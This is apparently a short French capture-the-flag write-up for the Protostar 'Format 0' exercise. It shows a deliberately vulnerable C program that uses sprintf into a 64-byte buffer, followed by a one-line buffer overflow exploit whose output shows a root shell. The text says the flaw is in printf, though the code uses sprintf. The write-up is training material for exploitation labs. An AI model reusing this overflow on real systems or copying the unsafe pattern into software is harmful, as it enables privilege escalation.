====== Format 0 ====== #include #include #include #include void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the target correctly :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } On remarque facilement la format string au niveau du printf. On remarque aussi que le programme copie une chaine dont il ne vérifie pas la taille dans un buffer de 64 bytes. On a donc un programme qui présente une format string ainsi qu'un buffer overflow. On choisis le buffer overflow, c'est bien moins chiant ;) user@protostar:/opt/protostar/bin$ ./format0 $(python -c 'print "A"*80+"\x6b\xfd\xff\xbf"') bash-4.1# id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)